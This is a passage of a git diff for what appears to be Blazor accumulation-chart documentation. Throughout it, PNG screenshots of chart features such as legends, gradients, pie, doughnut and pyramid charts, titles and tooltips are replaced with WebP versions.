diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-points.png b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-points.png
deleted file mode 100644
index 91e071617b..0000000000
Binary files a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-points.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-points.webp b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-points.webp
new file mode 100644
index 0000000000..2e4509118e
Binary files /dev/null and b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-points.webp differ
diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-series.png b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-series.png
deleted file mode 100644
index 2ba054aba2..0000000000
Binary files a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-series.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-series.webp b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-series.webp
new file mode 100644
index 0000000000..e238a86e4e
Binary files /dev/null and b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-linear-gradient-series.webp differ
diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-points.png b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-points.png
deleted file mode 100644
index 981af7712d..0000000000
Binary files a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-points.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-points.webp b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-points.webp
new file mode 100644
index 0000000000..f43b62d6fc
Binary files /dev/null and b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-points.webp differ
diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-series.png b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-series.png
deleted file mode 100644
index 1d4aab7945..0000000000
Binary files a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-series.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-series.webp b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-series.webp
new file mode 100644
index 0000000000..12b57b2164
Binary files /dev/null and b/blazor/accumulation-chart/images/gradient/blazor-accumulation-chart-radial-gradient-series.webp differ
diff --git a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-group-mode.png b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-group-mode.png
deleted file mode 100644
index ce2b56552a..0000000000
Binary files a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-group-mode.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-group-mode.webp b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-group-mode.webp
new file mode 100644
index 0000000000..b2411f01c8
Binary files /dev/null and b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-group-mode.webp differ
diff --git a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-grouping.png b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-grouping.png
deleted file mode 100644
index 62dfa6face..0000000000
Binary files a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-grouping.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-grouping.webp b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-grouping.webp
new file mode 100644
index 0000000000..e8babae8a1
Binary files /dev/null and b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-grouping.webp differ
diff --git a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-with-broken-slice.png b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-with-broken-slice.png
deleted file mode 100644
index b3c15c1d28..0000000000
Binary files a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-with-broken-slice.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-with-broken-slice.webp b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-with-broken-slice.webp
new file mode 100644
index 0000000000..04ef2b1814
Binary files /dev/null and b/blazor/accumulation-chart/images/grouping/blazor-accumulation-chart-with-broken-slice.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-item-size.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-item-size.png
deleted file mode 100644
index a350d8eff0..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-item-size.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-item-size.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-item-size.webp
new file mode 100644
index 0000000000..2dc2a03c73
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-item-size.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging-customization.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging-customization.png
deleted file mode 100644
index 19758f5bd5..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging-customization.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging-customization.webp
new file mode 100644
index 0000000000..a9d33f6a12
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging-customization.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging.png
deleted file mode 100644
index 9362ab04c8..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging.webp
new file mode 100644
index 0000000000..f3c055b0da
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-paging.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-reverse.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-reverse.png
deleted file mode 100644
index db34fd70ac..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-reverse.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-reverse.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-reverse.webp
new file mode 100644
index 0000000000..8c6065d55e
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-reverse.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-shape.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-shape.png
deleted file mode 100644
index e332d92f9f..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-shape.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-shape.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-shape.webp
new file mode 100644
index 0000000000..02d7e21825
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-shape.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-size.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-size.png
deleted file mode 100644
index 13e07b130c..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-size.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-size.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-size.webp
new file mode 100644
index 0000000000..ad5767b140
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-size.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-template.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-template.png
deleted file mode 100644
index 85754962dd..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-template.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-template.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-template.webp
new file mode 100644
index 0000000000..8e6bcc0f2c
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-template.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-wrap.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-wrap.png
deleted file mode 100644
index c608c7463c..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-wrap.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-wrap.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-wrap.webp
new file mode 100644
index 0000000000..352d8bcd47
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend-wrap.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend.png
deleted file mode 100644
index 95ff766449..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend.webp
new file mode 100644
index 0000000000..94e055813a
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-legend.webp differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-position.png b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-position.png
deleted file mode 100644
index a7e39655b0..0000000000
Binary files a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-position.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-position.webp b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-position.webp
new file mode 100644
index 0000000000..18ba60e674
Binary files /dev/null and b/blazor/accumulation-chart/images/legend/blazor-accumulation-chart-position.webp differ
diff --git a/blazor/accumulation-chart/images/new-project.png b/blazor/accumulation-chart/images/new-project.png
deleted file mode 100644
index 7aa4825993..0000000000
Binary files a/blazor/accumulation-chart/images/new-project.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/new-project.webp b/blazor/accumulation-chart/images/new-project.webp
new file mode 100644
index 0000000000..8730448b0c
Binary files /dev/null and b/blazor/accumulation-chart/images/new-project.webp differ
diff --git a/blazor/accumulation-chart/images/new-project1.png b/blazor/accumulation-chart/images/new-project1.png
deleted file mode 100644
index 15917ed4c4..0000000000
Binary files a/blazor/accumulation-chart/images/new-project1.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/new-project1.webp b/blazor/accumulation-chart/images/new-project1.webp
new file mode 100644
index 0000000000..c5e3548342
Binary files /dev/null and b/blazor/accumulation-chart/images/new-project1.webp differ
diff --git a/blazor/accumulation-chart/images/new-project2.png b/blazor/accumulation-chart/images/new-project2.png
deleted file mode 100644
index a377953995..0000000000
Binary files a/blazor/accumulation-chart/images/new-project2.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/new-project2.webp b/blazor/accumulation-chart/images/new-project2.webp
new file mode 100644
index 0000000000..8d588157a5
Binary files /dev/null and b/blazor/accumulation-chart/images/new-project2.webp differ
diff --git a/blazor/accumulation-chart/images/new-project3.png b/blazor/accumulation-chart/images/new-project3.png
deleted file mode 100644
index abb07341e2..0000000000
Binary files a/blazor/accumulation-chart/images/new-project3.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/new-project3.webp b/blazor/accumulation-chart/images/new-project3.webp
new file mode 100644
index 0000000000..bf199d2e97
Binary files /dev/null and b/blazor/accumulation-chart/images/new-project3.webp differ
diff --git a/blazor/accumulation-chart/images/new-project4.png b/blazor/accumulation-chart/images/new-project4.png
deleted file mode 100644
index e779c4babb..0000000000
Binary files a/blazor/accumulation-chart/images/new-project4.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/new-project4.webp b/blazor/accumulation-chart/images/new-project4.webp
new file mode 100644
index 0000000000..489af36504
Binary files /dev/null and b/blazor/accumulation-chart/images/new-project4.webp differ
diff --git a/blazor/accumulation-chart/images/nuget-explorer.png b/blazor/accumulation-chart/images/nuget-explorer.png
deleted file mode 100644
index a7abccf731..0000000000
Binary files a/blazor/accumulation-chart/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/nuget-explorer.webp b/blazor/accumulation-chart/images/nuget-explorer.webp
new file mode 100644
index 0000000000..dedfe67a6a
Binary files /dev/null and b/blazor/accumulation-chart/images/nuget-explorer.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/Blazor-pie-chart-disable-border.png b/blazor/accumulation-chart/images/pie-dough-nut/Blazor-pie-chart-disable-border.png
deleted file mode 100644
index 957eed1314..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/Blazor-pie-chart-disable-border.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/Blazor-pie-chart-disable-border.webp b/blazor/accumulation-chart/images/pie-dough-nut/Blazor-pie-chart-disable-border.webp
new file mode 100644
index 0000000000..fee4b7559d
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/Blazor-pie-chart-disable-border.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-doughnut-chart.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-doughnut-chart.png
deleted file mode 100644
index d21dc9826a..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-doughnut-chart.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-doughnut-chart.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-doughnut-chart.webp
new file mode 100644
index 0000000000..dff28a1bc9
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-doughnut-chart.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-border-radius.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-border-radius.png
deleted file mode 100644
index 0df98ecf18..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-border-radius.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-border-radius.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-border-radius.webp
new file mode 100644
index 0000000000..075204aaa1
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-border-radius.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-center-position.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-center-position.png
deleted file mode 100644
index fba487e05c..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-center-position.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-center-position.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-center-position.webp
new file mode 100644
index 0000000000..8265902383
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-center-position.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-radius-customization.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-radius-customization.png
deleted file mode 100644
index 9cfc77cc81..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-radius-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-radius-customization.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-radius-customization.webp
new file mode 100644
index 0000000000..f4336d5177
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-radius-customization.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-start-angle-customization.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-start-angle-customization.png
deleted file mode 100644
index 575044b56b..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-start-angle-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-start-angle-customization.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-start-angle-customization.webp
new file mode 100644
index 0000000000..f9322ff7d0
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-start-angle-customization.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-text-mapping.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-text-mapping.png
deleted file mode 100644
index f1270245fa..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-text-mapping.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-text-mapping.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-text-mapping.webp
new file mode 100644
index 0000000000..8dd3b12702
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-text-mapping.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-with-various-radius.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-with-various-radius.png
deleted file mode 100644
index 9e7f297db9..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-with-various-radius.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-with-various-radius.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-with-various-radius.webp
new file mode 100644
index 0000000000..c37fb2d073
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart-with-various-radius.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart.png b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart.png
deleted file mode 100644
index 5cb067a0bf..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart.webp b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart.webp
new file mode 100644
index 0000000000..263e6dd16a
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/blazor-pie-chart.webp differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/empty.png b/blazor/accumulation-chart/images/pie-dough-nut/empty.png
deleted file mode 100644
index 5bbae9e68d..0000000000
Binary files a/blazor/accumulation-chart/images/pie-dough-nut/empty.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pie-dough-nut/empty.webp b/blazor/accumulation-chart/images/pie-dough-nut/empty.webp
new file mode 100644
index 0000000000..eb2451a6bd
Binary files /dev/null and b/blazor/accumulation-chart/images/pie-dough-nut/empty.webp differ
diff --git a/blazor/accumulation-chart/images/print/blazor-accumulation-chart-printing.png b/blazor/accumulation-chart/images/print/blazor-accumulation-chart-printing.png
deleted file mode 100644
index 88f7f0dab1..0000000000
Binary files a/blazor/accumulation-chart/images/print/blazor-accumulation-chart-printing.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/print/blazor-accumulation-chart-printing.webp b/blazor/accumulation-chart/images/print/blazor-accumulation-chart-printing.webp
new file mode 100644
index 0000000000..7bb84a0d26
Binary files /dev/null and b/blazor/accumulation-chart/images/print/blazor-accumulation-chart-printing.webp differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-border-radius.png b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-border-radius.png
deleted file mode 100644
index 2def7134e1..0000000000
Binary files a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-border-radius.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-border-radius.webp b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-border-radius.webp
new file mode 100644
index 0000000000..481fa2a98e
Binary files /dev/null and b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-border-radius.webp differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-explode.png b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-explode.png
deleted file mode 100644
index e97362b0f7..0000000000
Binary files a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-explode.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-explode.webp b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-explode.webp
new file mode 100644
index 0000000000..e4f32fd26d
Binary files /dev/null and b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-explode.webp differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-size.png b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-size.png
deleted file mode 100644
index 8bee2499a2..0000000000
Binary files a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-size.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-size.webp b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-size.webp
new file mode 100644
index 0000000000..078592a6dd
Binary files /dev/null and b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-size.webp differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-gap.png b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-gap.png
deleted file mode 100644
index 539f2f9e10..0000000000
Binary files a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-gap.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-gap.webp b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-gap.webp
new file mode 100644
index 0000000000..6e43db880a
Binary files /dev/null and b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-gap.webp differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-surface-mode.png b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-surface-mode.png
deleted file mode 100644
index edec48b177..0000000000
Binary files a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-surface-mode.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-surface-mode.webp b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-surface-mode.webp
new file mode 100644
index 0000000000..7f182a9b65
Binary files /dev/null and b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart-with-surface-mode.webp differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart.png b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart.png
deleted file mode 100644
index 9af379e4df..0000000000
Binary files a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart.webp b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart.webp
new file mode 100644
index 0000000000..93908fd842
Binary files /dev/null and b/blazor/accumulation-chart/images/pyramid/blazor-pyramid-chart.webp differ
diff --git a/blazor/accumulation-chart/images/select-nuget.png b/blazor/accumulation-chart/images/select-nuget.png
deleted file mode 100644
index 69ff97a9b3..0000000000
Binary files a/blazor/accumulation-chart/images/select-nuget.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/select-nuget.webp b/blazor/accumulation-chart/images/select-nuget.webp
new file mode 100644
index 0000000000..d9e267635f
Binary files /dev/null and b/blazor/accumulation-chart/images/select-nuget.webp differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-customization.png b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-customization.png
deleted file mode 100644
index 82a766cd72..0000000000
Binary files a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-customization.webp b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-customization.webp
new file mode 100644
index 0000000000..dda8a506a0
Binary files /dev/null and b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-customization.webp differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position-custom.png b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position-custom.png
deleted file mode 100644
index 2b14b66bee..0000000000
Binary files a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position-custom.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position-custom.webp b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position-custom.webp
new file mode 100644
index 0000000000..9f2f08551a
Binary files /dev/null and b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position-custom.webp differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position.png b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position.png
deleted file mode 100644
index 53419ed3ba..0000000000
Binary files a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position.webp b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position.webp
new file mode 100644
index 0000000000..640fe8bae8
Binary files /dev/null and b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-subtitle-position.webp differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title-customization.png b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title-customization.png
deleted file mode 100644
index bfcbcae94c..0000000000
Binary files a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title-customization.webp b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title-customization.webp
new file mode 100644
index 0000000000..1c85ed39d7
Binary files /dev/null and b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title-customization.webp differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title.png b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title.png
deleted file mode 100644
index 218b745061..0000000000
Binary files a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title.webp b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title.webp
new file mode 100644
index 0000000000..2745440763
Binary files /dev/null and b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-title.webp differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-with-subtitle.png b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-with-subtitle.png
deleted file mode 100644
index a131ec38d3..0000000000
Binary files a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-with-subtitle.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/title/blazor-accumulation-chart-with-subtitle.webp b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-with-subtitle.webp
new file mode 100644
index 0000000000..8557c031db
Binary files /dev/null and b/blazor/accumulation-chart/images/title/blazor-accumulation-chart-with-subtitle.webp differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-header-tooltip.png b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-header-tooltip.png
deleted file mode 100644
index ab324140a9..0000000000
Binary files a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-header-tooltip.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-header-tooltip.webp b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-header-tooltip.webp
new file mode 100644
index 0000000000..0af1235c91
Binary files /dev/null and b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-header-tooltip.webp differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-customization.png b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-customization.png
deleted file mode 100644
index 0b50edbd9a..0000000000
Binary files a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-customization.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-customization.webp b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-customization.webp
new file mode 100644
index 0000000000..ac621eb876
Binary files /dev/null and b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-customization.webp differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-format.png b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-format.png
deleted file mode 100644
